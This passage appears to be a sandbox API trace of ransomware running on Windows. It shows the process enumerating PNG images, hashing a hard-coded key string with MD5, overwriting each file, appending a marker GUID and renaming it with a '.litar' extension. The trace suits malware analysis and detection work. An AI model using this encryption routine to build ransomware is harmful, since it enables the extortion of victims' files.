RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.228] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.228] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.228] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\ampfWs0z5kbstxRZUv.png") returned=".png" [0126.228] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\ampfWs0z5kbstxRZUv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r-u9vnxsx8ur0\\ampfws0z5kbstxrzuv.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.228] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=80449) returned 1 [0126.228] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.230] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13a1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.230] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.231] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.231] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.232] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.232] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x13a41, lpOverlapped=0x0) returned 1 [0126.232] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.232] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.233] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.233] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.233] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.233] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.233] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.233] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.233] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.233] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.233] GetLastError () returned 0x0 [0126.233] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.234] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.234] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x13a40) returned 0x30fa0b0 [0126.234] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.234] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.234] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x13a3c, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x13a3c, lpOverlapped=0x0) returned 1 [0126.234] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.234] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13a41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.235] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.235] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.235] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.235] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.235] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.235] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.235] CloseHandle (hObject=0x624) returned 1 [0126.236] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0126.236] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.236] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0126.236] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\ampfWs0z5kbstxRZUv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r-u9vnxsx8ur0\\ampfws0z5kbstxrzuv.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\ampfWs0z5kbstxRZUv.png.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r-u9vnxsx8ur0\\ampfws0z5kbstxrzuv.png.litar")) returned 1 [0126.237] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.237] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.237] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.237] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x974b4620, ftCreationTime.dwHighDateTime=0x1d4c6b5, ftLastAccessTime.dwLowDateTime=0xc9df2d90, ftLastAccessTime.dwHighDateTime=0x1d4c881, ftLastWriteTime.dwLowDateTime=0xc9df2d90, ftLastWriteTime.dwHighDateTime=0x1d4c881, nFileSizeHigh=0x0, nFileSizeLow=0x12f24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HAJ2zHK0.png", cAlternateFileName="")) returned 1 [0126.238] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.238] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.238] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.238] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\HAJ2zHK0.png") returned=".png" [0126.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\HAJ2zHK0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r-u9vnxsx8ur0\\haj2zhk0.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.238] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=77604) returned 1 [0126.239] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.240] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12efe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.240] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.242] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.242] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.242] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.242] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x12f24, lpOverlapped=0x0) returned 1 [0126.243] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.243] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.243] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.243] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.243] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.244] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.244] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.244] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.244] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.244] GetLastError () returned 0x0 [0126.244] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.244] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12f20) returned 0x30fa0b0 [0126.244] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.244] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x12f1f, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x12f1f, lpOverlapped=0x0) returned 1 [0126.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.245] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12f24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.245] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.245] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.245] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.245] CloseHandle (hObject=0x624) returned 1 [0126.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0126.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.246] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\HAJ2zHK0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r-u9vnxsx8ur0\\haj2zhk0.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\HAJ2zHK0.png.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r-u9vnxsx8ur0\\haj2zhk0.png.litar")) returned 1 [0126.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.247] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.248] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x321d3630, ftCreationTime.dwHighDateTime=0x1d4c932, ftLastAccessTime.dwLowDateTime=0xac565d70, ftLastAccessTime.dwHighDateTime=0x1d4d15a, ftLastWriteTime.dwLowDateTime=0xac565d70, ftLastWriteTime.dwHighDateTime=0x1d4d15a, nFileSizeHigh=0x0, nFileSizeLow=0x14f3f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lJDyJz4X_LOUsSG.png", cAlternateFileName="LJDYJZ~1.PNG")) returned 1 [0126.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.248] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\lJDyJz4X_LOUsSG.png") returned=".png" [0126.248] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\lJDyJz4X_LOUsSG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r-u9vnxsx8ur0\\ljdyjz4x_loussg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.248] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=85823) returned 1 [0126.248] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.250] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14f19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.250] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.251] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.251] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.252] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x14f3f, lpOverlapped=0x0) returned 1 [0126.252] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.252] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.252] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.252] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.253] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.253] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.253] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.253] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.253] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.253] GetLastError () returned 0x0 [0126.253] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.253] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.254] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.254] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14f40) returned 0x30fa0b0 [0126.254] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.254] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.254] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x14f3a, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x14f3a, lpOverlapped=0x0) returned 1 [0126.254] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.254] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14f3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.254] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.254] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.255] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.255] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.255] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.255] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.255] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.255] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.255] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.255] CloseHandle (hObject=0x624) returned 1 [0126.256] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0126.256] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.256] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0126.256] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\lJDyJz4X_LOUsSG.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r-u9vnxsx8ur0\\ljdyjz4x_loussg.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\lJDyJz4X_LOUsSG.png.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r-u9vnxsx8ur0\\ljdyjz4x_loussg.png.litar")) returned 1 [0126.256] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.256] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.257] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.257] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88804440, ftCreationTime.dwHighDateTime=0x1d4c96e, ftLastAccessTime.dwLowDateTime=0xd68de9d0, ftLastAccessTime.dwHighDateTime=0x1d4c923, ftLastWriteTime.dwLowDateTime=0xd68de9d0, ftLastWriteTime.dwHighDateTime=0x1d4c923, nFileSizeHigh=0x0, nFileSizeLow=0xe78c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xu0FJPBCEsMrFdRg0wfb.png", cAlternateFileName="XU0FJP~1.PNG")) returned 1 [0126.257] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.257] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.257] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.257] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\Xu0FJPBCEsMrFdRg0wfb.png") returned=".png" [0126.258] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\r-u9vnXsx8Ur0\\Xu0FJPBCEsMrFdRg0wfb.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\r-u9vnxsx8ur0\\xu0fjpbcesmrfdrg0wfb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.258] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=59276) returned 1 [0126.258] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.260] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe766, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.260] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.261] RtlAllocateHeap 